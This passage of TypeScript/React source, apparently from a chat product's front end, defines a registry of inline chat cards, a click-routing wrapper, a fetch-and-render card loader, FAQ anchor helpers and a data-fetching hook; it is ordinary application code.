discuss={opts.discuss}\n        cardType={cfg.cardType}\n      />\n    ),\n  }));\n}\n\nconst CHAT_CARD_REGISTRY: Record<string, ChatCardRegistryEntry> = {\n  // ───────── ref-shaped types: hydrated via /api/chat/entity-refs ─────────\n  ...githubRegistryEntries(),\n  // Generic TOMBSTONE for entities a chat action deleted (ClickUp task\n  // today; any deletable entity tomorrow). No fetch (nothing exists\n  // server-side anymore), no navigation — the placeholder keeps the\n  // thread's integrity (Teams/Slack \"This message was deleted\" pattern).\n  deleted_data: {\n    label: 'Deleted',\n    bareInline: true,\n    // The marker descriptor carries no metadata (cards hydrate by id, and a\n    // deleted entity has nothing to hydrate from), so every prop degrades to\n    // null and the card renders its generic \"Deleted item\" tombstone. The\n    // descriptor's `title` defaults to the raw cardId — suppress it so the\n    // strikethrough line never shows an opaque id.\n    render: (_item, chatRef) => (\n      <DeletedDataCard\n        title={chatRef.title && chatRef.title !== chatRef.id ? chatRef.title : null}\n        entityLabel={(chatRef.metadata?.entity_label as string | undefined) ?? null}\n        recoveryNote={(chatRef.metadata?.recovery_note as string | undefined) ?? null}\n      />\n    ),\n  },\n  // ───────── ref-only types (no list endpoint; the ChatRef IS the card) ─────────\n  ...refGlyphRegistryEntries(),\n  ...employeeEntryRegistryEntries(),\n  slack_message: refHydratedEntry('slack_message', 'Slack message', (displayRef, opts) => (\n    <SlackChatCard chatRef={displayRef} isNewTab={opts.isNewTab} discuss={opts.discuss} />\n  )),\n  // FAQ hydrates from its EXISTING public list API (`/api/faqs?ids=` —\n  // also feeding related-content rails, so its base path must not move).\n  // Rows are faq-shaped, not ChatRef-shaped, hence the bespoke row→display\n  // mapping instead of `refHydratedEntry`.\n  faq: {\n    label: 'FAQ',\n    bareInline: true,\n    contentRefType: 'faq',\n    noComposedHref: true,\n    fallbackHref: (item: ChatCardItem) => (item?.id != null ? `/faqs#${faqItemAnchor(item.id)}` : null),\n    skeleton: () => <MingoInfoCardSkeleton />,\n    render: (item, chatRef, opts) => (\n      <FaqChatCard chatRef={fetchedFaqDisplayRef(item, chatRef)} isNewTab={opts.isNewTab} discuss={opts.discuss} />\n    ),\n  },\n  hubspot_ticket: refHydratedEntry('hubspot_ticket', 'HubSpot ticket', (displayRef, opts) => (\n    <HubspotTicketChatCard chatRef={displayRef} isNewTab={opts.isNewTab} discuss={opts.discuss} />\n  )),\n  hubspot_ticket_anon: refHydratedEntry('hubspot_ticket_anon', 'HubSpot ticket (anon)', (displayRef, opts) => (\n    <HubspotTicketChatCard chatRef={displayRef} isNewTab={opts.isNewTab} discuss={opts.discuss} />\n  )),\n  // Self tickets hydrate via the session-scoped `GET /api/tickets?ids=`\n  // (`selfScopeFilter` ACL) instead of the generic endpoint — the self\n  // config's searchFilter is deliberately fail-closed there. Same\n  // ChatRef item shape (`buildHubspotTicketSelfRef` SSOT), same preset.\n  hubspot_ticket_self: refHydratedEntry('hubspot_ticket_self', 'HubSpot ticket (self)', (displayRef, opts) => (\n    <HubspotTicketChatCard chatRef={displayRef} isNewTab={opts.isNewTab} discuss={opts.discuss} />\n  )),\n  data_room_doc: refHydratedEntry('data_room_doc', 'Data-room doc', (displayRef, opts) => (\n    <DataRoomDocChatCard chatRef={displayRef} isNewTab={opts.isNewTab} discuss={opts.discuss} />\n  )),\n  markdown: refHydratedEntry('markdown', 'Doc page (markdown)', (displayRef, opts) => (\n    <DataRoomDocChatCard chatRef={displayRef} isNewTab={opts.isNewTab} discuss={opts.discuss} />\n  )),\n  // Body-synthesized video ids (`shortVideoId` content hashes / YouTube\n  // ids) have no backing table row to fetch — ref-only by nature.\n  video: {\n    label: 'Video',\n    bareInline: true,\n    render: (_item, chatRef) => <ChatInlineVideoPill chatRef={chatRef} />,\n  },\n  ...financialRegistryEntries(),\n\n  // ───────── content types: full rows from their public list APIs ─────────\n  blog_post: {\n    label: 'Blog post',\n    contentRefType: 'blog_post_existing',\n    bareInline: true,\n    skeleton: () => <BlogCardSkeleton size=\"sm\" />,\n    render: (item, chatRef, opts) => (\n      <BlogChatCard\n        item={item}\n        chatRef={chatRef}\n        isNewTab={opts.isNewTab}\n        discuss={opts.discuss}\n        ogPlaceholder={opts?.extras?.buildOgPlaceholderUrl?.(item?.title ?? '') ?? null}\n        hasEmbeddedVideo={chatRef.metadata?.hasEmbeddedVideo === true}\n      />\n    ),\n  },\n  case_study: {\n    label: 'Case study',\n    contentRefType: 'case_study',\n    bareInline: true,\n    skeleton: () => <CaseStudyCardSkeleton size=\"sm\" />,\n    render: (item, chatRef, opts) => (\n      <CaseStudyChatCard\n        item={item}\n        chatRef={chatRef}\n        isNewTab={opts.isNewTab}\n        discuss={opts.discuss}\n        ogPlaceholder={opts?.extras?.buildOgPlaceholderUrl?.(item?.title ?? '') ?? null}\n      />\n    ),\n  },\n  customer_interview: {\n    label: 'Customer interview',\n    contentRefType: 'customer_interview',\n    bareInline: true,\n    skeleton: () => <CustomerInterviewCardSkeleton size=\"sm\" />,\n    render: (item, chatRef, opts) => (\n      <CustomerInterviewChatCard\n        item={item}\n        chatRef={chatRef}\n        isNewTab={opts.isNewTab}\n        discuss={opts.discuss}\n        ogPlaceholder={opts?.extras?.buildOgPlaceholderUrl?.(item?.title ?? '') ?? null}\n      />\n    ),\n  },\n  product_release: {\n    label: 'Product release',\n    contentRefType: 'product_release',\n    bareInline: true,\n    skeleton: () => <ProductReleaseCardSkeleton size=\"sm\" />,\n    render: (item, chatRef, opts) => {\n      // Embedder-provided builder wins; lib default fills in otherwise\n      // (covers `coverImage`, `hasVideoCover`, `formattedDate` — the\n      // three fields the compact `size='sm'` card actually reads).\n      // Hub-side embedders still pass their richer builder via\n      // `extras.buildProductReleaseCardProps` to get lg-only metadata\n      // (badge color, changelog counts, etc.).\n      const builder = opts?.extras?.buildProductReleaseCardProps ?? defaultBuildProductReleaseCardProps;\n      return (\n        <ProductReleaseChatCard\n          item={item}\n          chatRef={chatRef}\n          buildProps={builder}\n          isNewTab={opts.isNewTab}\n          discuss={opts.discuss}\n        />\n      );\n    },\n  },\n  ...programRegistryEntries(),\n  investor_update: {\n    label: 'Investor update',\n    contentRefType: 'investor_update',\n    bareInline: true,\n    skeleton: () => <InvestorUpdateCardSkeleton size=\"sm\" />,\n    render: (item, chatRef, opts) => (\n      <InvestorUpdateChatCard\n        item={item}\n        chatRef={chatRef}\n        isNewTab={opts.isNewTab}\n        discuss={opts.discuss}\n        ogPlaceholder={opts?.extras?.buildOgPlaceholderUrl?.(item?.title ?? '') ?? null}\n      />\n    ),\n  },\n  onboarding_guide: {\n    label: 'Onboarding guide',\n    contentRefType: 'onboarding_guide',\n    bareInline: true,\n    // \"Display\" affordance (verbatim guide body) instead of \"Ask\".\n    displayAction: true,\n    skeleton: () => <OnboardingGuideCardSkeleton size=\"sm\" />,\n    render: (item, chatRef, opts) => (\n      <OnboardingGuideChatCard\n        item={item}\n        chatRef={chatRef}\n        isNewTab={opts.isNewTab}\n        discuss={opts.discuss}\n        ogPlaceholder={opts?.extras?.buildOgPlaceholderUrl?.(item?.title ?? '') ?? null}\n      />\n    ),\n  },\n  marketing_campaign: {\n    label: 'Marketing campaign',\n    contentRefType: 'marketing_campaign',\n    bareInline: true,\n    skeleton: () => <CampaignCardAdminSkeleton />,\n    // No public viewer — synthesize the hub-internal admin URL post-fetch\n    // so the wrapper + isNewTab computation see the actual destination.\n    fallbackHref: (item: ChatCardItem) => (item?.id ? `/admin/campaigns/${encodeURIComponent(String(item.id))}` : null),\n    render: (item, chatRef, opts) => (\n      <CampaignChatCard item={item} chatRef={chatRef} isNewTab={opts.isNewTab} discuss={opts.discuss} />\n    ),\n  },\n  ...roadmapRegistryEntries(),\n};\n\n// =============================================================================\n// ChatCardNavWrap — click-capture interceptor that routes inner-anchor\n// clicks through the chat runtime's nav handler.\n//\n// Single source of truth for click handling on EVERY inline card. The\n// card body provides its own `<a href={absolute}>` (per the\n// pure-presentation contract) — this wrapper intercepts the primary\n// click via `onClickCapture` BEFORE the browser's default navigation\n// fires, and routes through `handleChatNavClick` to apply runtime nav\n// rules (embed-mode `window.open` / cross-platform new-tab / host\n// `runtime.navigation.navigate`). Modifier / non-primary clicks pass\n// through (`handleChatNavClick` returns early so the browser opens\n// the inner anchor's href naturally).\n//\n// Same click model as source chips — chips use `<a onClick={handleChatNavClick}>`\n// directly; cards use `<span onClickCapture={→handleChatNavClick}>` outside\n// the card's own anchor. Both ultimately call `handleChatNavClick` with\n// the same `{href, targetPlatform}` resolved at `ChatCardLoader` via\n// `resolveSourceRowCTA`. The unification:\n//   - Same URL composition (`resolveSourceRowCTA`)\n//   - Same embed-mode prefix (`resolveHrefForRuntime`)\n//   - Same click router (`handleChatNavClick`)\n//   - Same conditional close (`ChatPanelContext.closeChat` on same-tab only)\n// =============================================================================\n\n/**\n * ChatCardNavWrap — click-capture interceptor for inline cards.\n *\n * `<span onClickCapture>` wrapping the card body. The card renders its\n * own `<a href target rel>` with the canonical pre-resolved href +\n * new-tab decision applied (via `opts.isNewTab` from ChatCardLoader).\n *\n * Job:\n *   - PRIMARY clicks → preventDefault + route through `handleChatNavClick`\n *   - Modifier-clicks → pass through to the browser's native handling\n *   - Same-tab nav → close the chat panel (so the panel doesn't linger\n *     over the now-current-page content). New-tab nav leaves it open.\n *\n * Single close path for inline cards. The chip block in\n * `embeddable-chat.tsx` mirrors this logic for source chips. Both\n * gate on `!isNewTab` computed from the same `decideNewTab` rule, so\n * the close decision is consistent across surfaces.\n */\nfunction ChatCardNavWrap({\n  href,\n  path,\n  targetPlatform,\n  isNewTab,\n  children,\n}: {\n  href: string | null;\n  /** In-app doc-tree path for `markdown` / `data_room_doc` refs. The\n   *  runtime's `navigate({path})` opportunistically swaps the active\n   *  documentation section without a full page nav; null for everything\n   *  else. Threaded straight through to `handleChatNavClick` so chips\n   *  and inline cards apply the same routing rule. */\n  path: string | null;\n  targetPlatform: string | null;\n  /** New-tab decision pre-computed by the parent `ChatCardLoader` —\n   *  same value the card's `<a target>` already renders with.\n   *  Consumed here ONLY to decide whether to close the panel. */\n  isNewTab: boolean;\n  children: ReactNode;\n}) {\n  const runtime = useRequiredChatRuntime();\n  const router = useRouter();\n  const panel = useChatPanel();\n  const onClickCapture = (e: React.MouseEvent<HTMLElement>) => {\n    if (!href) return;\n    const targetEl = e.target as HTMLElement;\n    // Only claim clicks that physically happened INSIDE this card.\n    //\n    // The card's \"⋯\" menu renders through a React PORTAL: its DOM lives in the\n    // panel's portal host, but React still bubbles its events through this\n    // subtree — so this capture handler sees them first and, being a capture\n    // phase, runs BEFORE the menu row's own `stopPropagation`. That swallowed\n    // the menu's trailing \"↗ Open in new tab\" button: `executeNavigation`\n    // called `preventDefault()` and routed the card's href in the SAME tab,\n    // so the anchor's `target=\"_blank\"` never applied.\n    const host = e.currentTarget as HTMLElement | null;\n    if (!host?.contains(targetEl)) return;\n    // Buttons rendered INSIDE the card's outer `<a>` (e.g. RoadmapCard\n    // vote buttons, ImageGallery thumbnails) bubble up with\n    // `closest('a')` truthy — without this guard, clicking them would\n    // route through the chat nav handler and navigate away from the\n    // page. The button's own onClick keeps working because we exit\n    // before stopPropagation.\n    if (targetEl?.closest?.('button')) return;\n    if (!targetEl?.closest?.('a')) return;\n\n    const handled = executeNavigation({ event: e, runtime, href, path, targetPlatform, fallbackNavigate: router.push });\n    if (!handled) return;\n    // Modifier-clicks fall through (handled=false) without stopPropagation\n    // so ancestor telemetry handlers still see the bubble.\n    e.stopPropagation();\n    if (!isNewTab && panel?.closeChat) panel.closeChat();\n  };\n  return (\n    <span className=\"contents\" onClickCapture={onClickCapture}>\n      {children}\n    </span>\n  );\n}\n\n// =============================================================================\n// ChatCardLoader — fetch + skeleton + render for fetch-mode entries.\n// =============================================================================\n\ninterface ChatCardLoaderProps {\n  chatRef: ChatRef;\n  onDiscuss?: (ref: ChatRef) => void;\n  onDisplay?: (ref: ChatRef) => void;\n  baseRoute?: string;\n  chipBasePlatform?: string;\n  extras?: ChatCardDispatchExtras;\n}\n\n/**\n * Generic fetch-mode card loader. Looks up the registry entry by\n * `chatRef.type`, fetches the full item via `useChatCardItem`, and\n * routes through skeleton / null / card-render.\n *\n * SINGLE URL-RESOLUTION POINT — same code path source chips already\n * had. Before render dispatch:\n *   - Pass the ref through `resolveSourceRowCTA` to compute the\n *     canonical `{href, targetPlatform}` (externalUrl → in-app path\n *     fallback → null, with embedder `baseRoute` / `chipBasePlatform`\n *     awareness).\n *   - Pre-resolve href against `runtime.navigation.defaultContentOrigin`\n *     in embed mode (so modifier-click + copy-link land on the hub).\n *   - Re-attach the resolved values onto the ref so EVERY downstream\n *     card — whether it renders an inner `<a>` from `href` prop\n *     (BlogCard, ProgramCard, …) or pulls `anchorProps` from\n *     `computeIsNewTab` — sees the SAME canonical URL the\n *     chip would render.\n *\n * Eliminates the entire \"chip works, inline card doesn't\" class of bug.\n */\nexport function ChatCardLoader({\n  chatRef,\n  onDiscuss,\n  onDisplay,\n  baseRoute,\n  chipBasePlatform,\n  extras,\n}: ChatCardLoaderProps) {\n  const runtime = useRequiredChatRuntime();\n  const resolvedChatRef = React.useMemo<ChatRef>(() => {\n    const cta = resolveSourceRowCTA(\n      {\n        sourceRepo: chatRef.sourceRepo,\n        documentType: chatRef.type,\n        id: chatRef.id,\n        title: chatRef.title,\n        externalUrl: chatRef.url,\n        targetPlatform: chatRef.targetPlatform,\n        path: typeof chatRef.metadata?.path === 'string' ? chatRef.metadata.path : null,\n      },\n      sourceRowCtxFromRuntime(runtime, { baseRoute, chipBasePlatform }),\n    );\n    const finalHref = cta.href ? resolveHrefForRuntime(cta.href, runtime) : null;\n    return {\n      ...chatRef,\n      url: finalHref ?? chatRef.url,\n      targetPlatform: cta.targetPlatform ?? chatRef.targetPlatform ?? null,\n    };\n  }, [chatRef, runtime, baseRoute, chipBasePlatform]);\n\n  const entry = CHAT_CARD_REGISTRY[resolvedChatRef.type];\n  // Hook order MUST be stable across renders — call the data hook\n  // unconditionally regardless of entry mode. For non-fetch types the\n  // `contentRefType` is empty so the hook returns `isLoading=false` and\n  // `item=undefined`, which we ignore.\n  const fetchEntry = entry && entry.contentRefType ? entry : null;\n  const { item, isLoading, isError, isFetched } = useChatCardItem<ChatCardItem>(\n    fetchEntry?.contentRefType ?? '',\n    fetchEntry ? resolvedChatRef.id : '',\n  );\n  if (!entry) return null;\n\n  // Apply the post-fetch URL fallback (the ref carried no `externalUrl`).\n  // We mutate `resolvedChatRef.url` BEFORE computing isNewTab so the\n  // wrapper's interceptor sees the destination the user will actually\n  // visit. `safeHref` blocks `javascript:` / `data:` payloads even\n  // though the registry callers compose hub-internal strings today.\n  //\n  // Two producers, ranked by `pickFetchedCardHref` (which owns the\n  // precedence and its rationale):\n  //   1. the registry's per-type `fallbackHref` — an explicit non-content\n  //      destination (marketing campaign → `/admin/...`, or a ref-hydrated\n  //      row's own `item.url`);\n  //   2. the host's `composeContentUrl` seam via `resolveFetchedCardHref` —\n  //      the SAME resolver page cards go through. This is what makes cards\n  //      clickable on every transport: the wire ships bare\n  //      `[card://type:id]` markers with no metadata, so the ref reaches\n  //      us with `url: null` and `resolveSourceRowCTA` has nothing to route.\n  // …except an EXPLICIT host override outranks both: the seam is asked\n  // even for `fallbackHref` / `noComposedHref` types now, and its answer is\n  // taken only when the host actually re-homed the type (never when the\n  // composer merely synthesized one) — the case those two flags guard against.\n  const composedHref =\n    fetchEntry?.contentRefType && !resolvedChatRef.url && item\n      ? resolveFetchedCardHref({\n          contentRefType: fetchEntry.contentRefType,\n          id: resolvedChatRef.id,\n          item,\n          composeContentUrl: runtime.composeContentUrl,\n        })\n      : null;\n  const hrefChoice =\n    fetchEntry && !resolvedChatRef.url && item\n      ? pickFetchedCardHref({\n          composed: composedHref,\n          itemHref: fetchEntry.fallbackHref?.(item) ?? null,\n          allowComposed: !fetchEntry.noComposedHref,\n        })\n      : null;\n  const hrefResolvedChatRef: ChatRef = hrefChoice\n    ? {\n        ...resolvedChatRef,\n        url: safeHref(hrefChoice.href),\n        // The `item` branch carries no platform of its own — keep the ref's.\n        targetPlatform: hrefChoice.targetPlatform ?? resolvedChatRef.targetPlatform ?? null,\n      }\n    : resolvedChatRef;\n\n  // Title enrichment, same synthetic-ref gap as the href above: a Mingo\n  // `[card://type:id]` marker produces `title: <id>` because the transport\n  // ships no ref metadata. Downstream consumers that read `ref.title` — most\n  // visibly the \"Ask Mingo\" prompt, which would otherwise send\n  // \"Tell me more about 86ad3qvv5\" — get the row's real title once it loads.\n  // A ref that already carries a distinct title (the SSE path) is untouched.\n  const fetchedTitle = fetchEntry && item ? readFetchedCardTitle(item) : null;\n  const finalChatRef: ChatRef =\n    fetchedTitle && (!hrefResolvedChatRef.title || hrefResolvedChatRef.title === hrefResolvedChatRef.id)\n      ? { ...hrefResolvedChatRef, title: fetchedTitle }\n      : hrefResolvedChatRef;\n\n  // Pre-compute new-tab decision ONCE here (the same rule chips use).\n  // Render branches that pass `target` / `rel` to their card pull this\n  // via `renderOpts.isNewTab` so the inner `<a>` agrees with the\n  // runtime nav decision in `ChatCardNavWrap` + `handleChatNavClick`.\n  const isNewTab = computeIsNewTab(runtime, finalChatRef.url, finalChatRef.targetPlatform ?? null);\n\n  // Resolve the \"Ask Mingo\"/\"Display\" affordance ONCE — same precedence as the\n  // legacy `ChatCardWithDiscuss` (displayAction + onDisplay → \"Display\",\n  // otherwise onDiscuss → \"Ask Mingo\"). Threaded into each card's \"⋯\" menu.\n  const useDisplay = !!entry.displayAction && !!onDisplay;\n  const discussFn = useDisplay ? onDisplay : onDiscuss;\n  const discuss: CardDiscussAction | undefined = discussFn\n    ? {\n        label: useDisplay ? 'Display' : 'Ask Mingo',\n        icon: useDisplay ? (\n          <FileContentIcon size={20} />\n        ) : (\n          <MingoIcon\n            className=\"size-5\"\n            color=\"white\"\n            eyesColor=\"var(--ods-flamingo-cyan-base)\"\n            cornerColor=\"var(--ods-flamingo-cyan-base)\"\n          />\n        ),\n        run: () => discussFn(finalChatRef),\n      }\n    : undefined;\n\n  const renderOpts: ChatCardRenderOptions = {\n    baseRoute,\n    chipBasePlatform,\n    extras,\n    isNewTab,\n    discuss,\n  };\n\n  // Wrap EVERY rendered card with ChatCardNavWrap so the inner anchor's\n  // primary click routes through the chat runtime (same handler as the\n  // source chip). The card's `<a href={absolute}>` provides the visible\n  // href for hover-preview / copy-link / modifier-click; the wrapper\n  // intercepts the primary click and applies runtime nav rules.\n  const path = typeof finalChatRef.metadata?.path === 'string' ? finalChatRef.metadata.path : null;\n  const navWrap = (children: ReactNode) => (\n    <ChatCardNavWrap\n      href={finalChatRef.url ?? null}\n      path={path}\n      targetPlatform={finalChatRef.targetPlatform ?? null}\n      isNewTab={isNewTab}\n    >\n      {children}\n    </ChatCardNavWrap>\n  );\n  // ONE render tail for both modes — bare-inline cards skip the discuss\n  // wrapper; everything else gets the ChatCardWithDiscuss chrome. Kept\n  // here (not per-branch) so the two paths can never drift on the\n  // discuss-menu wiring.\n  const finish = (node: React.ReactNode) =>\n    entry.bareInline ? (\n      <>{navWrap(node)}</>\n    ) : (\n      <ChatCardWithDiscuss\n        chatRef={finalChatRef}\n        onDiscuss={onDiscuss}\n        onDisplay={onDisplay}\n        displayAction={entry.displayAction}\n      >\n        {navWrap(node)}\n      </ChatCardWithDiscuss>\n    );\n  if (!fetchEntry) {\n    // Ref-only types (`deleted_data`, `video` — nothing exists server-side\n    // to fetch): render straight from the marker's descriptor.\n    return finish(entry.render(undefined, finalChatRef, renderOpts));\n  }\n  if (isLoading) return <>{fetchEntry.skeleton?.() ?? null}</>;\n  if (!item) {\n    // FAIL LOUD (explicit product decision 2026-08-13): a card that\n    // cannot hydrate renders a VISIBLE error card — silent removal made\n    // broken answers look fine. Three distinguishable states:\n    if (isError) {\n      // Transient fetch failure (auth blip, 5xx, rate limit).\n      return <CardLoadFailure label={entry.label} id={finalChatRef.id} detail=\"Failed to load\" />;\n    }\n    if (!isFetched) {\n      // Query never ran — no list URL registered for this type / empty id.\n      return <CardLoadFailure label={entry.label} id={finalChatRef.id} detail=\"Not loadable\" />;\n    }\n    // Successful fetch, id absent — entity gone or the LLM invented the id.\n    return <CardLoadFailure label={entry.label} id={finalChatRef.id} detail=\"Not found\" />;\n  }\n  // Hero-video promotion, API-driven: when the FETCHED item carries a\n  // playable video (ChatRef-shaped items via `metadata.videoUrl` /\n  // `youtubeUrl` / `highlightVideoUrl`; content rows via the canonical\n  // `custom_video_url` / `main_video_url` columns), render the video\n  // section as a SIBLING below the compact card. NOT `<BlockCard>` —\n  // that is a render-null sentinel only chat-message-enhanced's SYNC\n  // pre-scan understands; returned from inside this loader (post-fetch,\n  // async) it renders nothing (the missing-videos regression,\n  // 2026-08-13). The loader's output already lives in a hoisted\n  // block-level sibling (`b-<key>`), so block content is legal here.\n  const videoMeta = itemVideoMetadata(item);\n  if (videoMeta) {\n    const videoRef: ChatRef = {\n      ...finalChatRef,\n      metadata: { ...(finalChatRef.metadata ?? {}), ...videoMeta },\n    };\n    return (\n      // Same 12px rhythm as the message renderer's block-sibling wrapper\n      // (`my-3` in chat-message-enhanced) so card→player spacing matches\n      // the spacing between any two hoisted blocks.\n      <div className=\"flex min-w-0 flex-col gap-3\">\n        {finish(entry.render(item, finalChatRef, renderOpts))}\n        <ChatVideoEntityCard chatRef={videoRef} />\n      </div>\n    );\n  }\n  return finish(entry.render(item, finalChatRef, renderOpts));\n}\n\n// =============================================================================\n// Public dispatch entry points\n// =============================================================================\n\n/**\n * Render the chat-inline card for a `[card://<type>:<id>]` marker.\n *\n * Single dispatch through `CHAT_CARD_REGISTRY`. The function mirrors the\n * hub's `renderChatInlineEntityCard` behavior:\n *   - Video-bearing refs return a `<BlockCard>` sentinel so the\n *     `chat-message-enhanced` pre-scan hoists the player out of the\n *     assistant paragraph.\n *   - Other refs render the compact card, optionally wrapped in a\n *     close-on-anchor-click span when `onClose` is supplied.\n */\nexport function renderChatInlineEntityCard(\n  chatRef: ChatRef,\n  options: {\n    onDiscuss?: (ref: ChatRef) => void;\n    onDisplay?: (ref: ChatRef) => void;\n    baseRoute?: string;\n    chipBasePlatform?: string;\n    extras?: ChatCardDispatchExtras;\n  } = {},\n): React.ReactNode {\n  const { onDiscuss, onDisplay, baseRoute, chipBasePlatform, extras } = options;\n\n  const loader = (\n    <ChatCardLoader\n      chatRef={chatRef}\n      onDiscuss={onDiscuss}\n      onDisplay={onDisplay}\n      baseRoute={baseRoute}\n      chipBasePlatform={chipBasePlatform}\n      extras={extras}\n    />\n  );\n\n  // Embedded videos are SELF-DESCRIBING: the marker id alone recovers the\n  // playable URL (`decodeVideoMarkerId`), so the player renders on ANY\n  // transport with zero refs/fetch. Undecodable ids (legacy sha1 hashes,\n  // hallucinations) fall through to the loader → plain-text degrade.\n  // Hero videos on FETCHED entity types (webinars, releases, …) are\n  // handled post-fetch inside ChatCardLoader (`itemVideoMetadata`) — the\n  // marker's ref plays no part in either path.\n  if (chatRef.type === 'video') {\n    const decoded = decodeVideoMarkerId(chatRef.id);\n    if (decoded) {\n      const displayRef: ChatRef = {\n        ...chatRef,\n        title: chatRef.title && chatRef.title !== chatRef.id ? chatRef.title : 'Video',\n        url:\n          chatRef.url ??\n          decoded.videoUrl ??\n          (decoded.youtubeUrl ? `https://www.youtube.com/watch?v=${decoded.youtubeUrl}` : null),\n        metadata: { ...(chatRef.metadata ?? {}), ...decoded },\n      };\n      return (\n        <BlockCard inline={<ChatInlineVideoPill chatRef={displayRef} />}>\n          <ChatVideoEntityCard chatRef={displayRef} />\n        </BlockCard>\n      );\n    }\n    return loader;\n  }\n\n  return loader;\n}\n\n// =============================================================================\n// NavLink wiring for callers that need to compose anchors (Task 2 + Task 3)\n// =============================================================================\n\n/** Re-export so call sites can wrap any subtree with chat-runtime\n *  routing in a single import. */\nexport { NavLinkAnchorViaRuntime };\n","/**\n * FAQ anchor SSOTs — TWO complementary deep-link kinds on the `/faqs` page,\n * both rendered straight onto the DOM and recognised by ONE parser. Keeping\n * the format helpers + parser in one file means the page, the chat RAG\n * mapper, and any future consumer can't drift on what a hash means.\n *\n *   `/faqs#faq-pricing`     → category section header (jump-nav pills,\n *                             scroll-spy)\n *   `/faqs#faq-item-42`     → individual question (chat citation chips —\n *                             auto-expands the row + scrolls to it)\n *\n * Reserved namespaces — `faq-item-<digits>` is the item shape; everything\n * else starting with `faq-` is a section slug. `faqSectionSlug` lowercases\n * + dash-collapses + dash-trims, so a section name would only collide with\n * the item shape if it slugified to `faq-item-<digits-only>` (e.g. a\n * category called \"Item 42\") — none of the 21 production sections do, and\n * `parseFaqHash`'s regex is digits-only so future word-suffixed names like\n * \"Item Whatever\" (slugifies to `faq-item-whatever`) are also safe.\n */\n\n/** Stable, URL-safe anchor id for a category. Prefixed with `faq-` so it\n *  can't collide with other in-page ids, and so a bare numeric/blank\n *  section still yields a valid id. The helper assumes the caller has\n *  already verified the section is a non-blank string (matches\n *  `faq-section.tsx`'s `groupFaqsBySection` precondition). */\nexport function faqSectionSlug(section: string): string {\n  return (\n    'faq-' +\n    section\n      .toLowerCase()\n      .replace(/[^a-z0-9]+/g, '-')\n      .replace(/^-+|-+$/g, '')\n  );\n}\n\n/** Stable anchor for an individual FAQ row. Rendered as the row container's\n *  `id` attribute by `FaqAccordion`; consumed by `FaqSection` (auto-open +\n *  auto-scroll on mount) AND by the hub's RAG mapper so chat citations\n *  deep-link to the specific question, not just its category. The id is\n *  stringified verbatim — the FAQ schema uses integer PKs so `parseFaqHash`'s\n *  digits-only regex always matches a real row. */\nexport function faqItemAnchor(id: number | string): string {\n  return `faq-item-${id}`;\n}\n\n/** Discriminated parse of a `/faqs#…` hash. Returns null for an empty,\n *  missing, or unrecognised hash so callers can early-out without\n *  scattering string parsing across the file.\n *\n *   parseFaqHash('#faq-item-42')   → { kind: 'item',    rawId: '42' }\n *   parseFaqHash('#faq-pricing')   → { kind: 'section', slug: 'faq-pricing' }\n *   parseFaqHash('#anything-else') → null\n *\n * `rawId` is the matched digit run as a string — the caller compares it\n * to `String(item.id)` so coercion stays at the comparison site. */\nexport type FaqHashTarget = { kind: 'item'; rawId: string } | { kind: 'section'; slug: string };\n\nconst FAQ_ITEM_HASH_RE = /^faq-item-(\\d+)$/;\n\nexport function parseFaqHash(hash: string | null | undefined): FaqHashTarget | null {\n  if (!hash) return null;\n  const trimmed = hash.replace(/^#/, '');\n  if (!trimmed) return null;\n  const itemMatch = FAQ_ITEM_HASH_RE.exec(trimmed);\n  if (itemMatch) return { kind: 'item', rawId: itemMatch[1] };\n  if (trimmed.startsWith('faq-')) return { kind: 'section', slug: trimmed };\n  return null;\n}\n","'use client';\n\n/**\n * useChatCardItem — fetches the full mapped item for an inline chat\n * card via the SAME list-API endpoint the public pages use.\n *\n * Single source of truth: no parallel `buildImageUrl` / `buildMetadata`\n * synthesis. The chat renders the same shape, with the same joins\n * (author / categories / platforms / hosts / etc.), as `/blog`,\n * `/case-studies`, `/podcasts`, `/roadmap`, etc.\n *\n * Batching: every compact card with the same `(type, id)` shares one\n * TanStack-Query entry; CONCURRENT refs of the same type in the same\n * chat message produce ONE network request (TanStack dedups in-flight\n * fetches by queryKey). Data is always stale — see the query options.\n *\n * URL builder is read from `runtime.endpoints.buildListUrl` so the\n * embedded app can supply a per-type URL builder against the reverse\n * proxy; the hub wires the registry-driven builder directly.\n */\n\nimport { useQuery } from '@tanstack/react-query';\nimport { useRequiredChatRuntime } from '../../../contexts/chat-runtime-context';\nimport { embedAuthedFetch } from '../../../utils/embed-authed-fetch';\nimport { extractItems, extractItemId } from '../../../utils/extract-items';\n\nexport interface UseChatCardItemResult<T = unknown> {\n  item: T | undefined;\n  isLoading: boolean;\n  isError: boolean;\n  /** True only after a fetch actually completed — false for disabled\n   *  queries (no list URL for the type / empty id). */\n  isFetched: boolean;\n}\n\n// `extractItems` / `extractItemId` hoisted to `src/utils/extract-items.ts`\n// (shared with the related-content rail — react-query-free home).\n\nexport function useChatCardItem<T = unknown>(type: string, id: string): UseChatCardItemResult<T> {\n  // Read the list-URL builder from the chat runtime — hub uses the\n  // rag-table-config registry directly; embedded apps supply a per-type\n  // URL builder against the reverse proxy.\n  const runtime = useRequiredChatRuntime();\n  const url = runtime.endpoints.buildListUrl(type, [id]);\n  const query = useQuery({\n    queryKey: ['chat-card-item', type, id],\n    queryFn: async (): Promise<T | null> => {\n      if (!url) return null;\n      // Go through `embedAuthedFetch` (NOT bare `fetch`) so the request\n      // rides the same auth path as the chat stream/commands: it consults\n      // the host-registered `EmbedAuthAdapter` (cookie `credentials:'include'`\n      // cross-origin, dev-ticket Bearer, 401 refresh-and-retry). Bare `fetch`\n      // sent no credentials, so list endpoints behind the gateway returned\n      // 401 and the card rendered blank.\n      const res = await embedAuthedFetch(url);\n      // THROW on non-OK (was `return null`): callers must be able to\n      // tell \"fetched fine, entity absent\" (→ deleted tombstone) from\n      // \"fetch failed\" (401 refresh miss, 5xx, 429 → transient; render\n      // nothing, never a false 'deleted' claim). TanStack surfaces the\n      // throw as `isError`.\n      if (!res.ok) throw new Error(`chat card fetch failed: ${res.status}`);\n      // `.json()` is `any`; `extractItems` already takes `unknown` and does the\n      // shape normalization, so keep the boundary honest and let it do its job.\n      const data: unknown = await res.json();\n      const items = extractItems(data);\n      const match = items.find(it => extractItemId(type, it) === id);\n      return (match ?? null) as T | null;\n    },\n    enabled: !!url && id.length > 0,\n    // ALWAYS FRESH — no freshness window. Card entities are mutable\n    // (tickets, tasks change status), so a cached row is a lie waiting to\n    // render: a 5-min staleTime shipped a \"NEW\" badge on a ticket the\n    // receipt right above it said was just CLOSED (2026-08-18). Every\n    // mount refetches. `gcTime` is kept ONLY as render 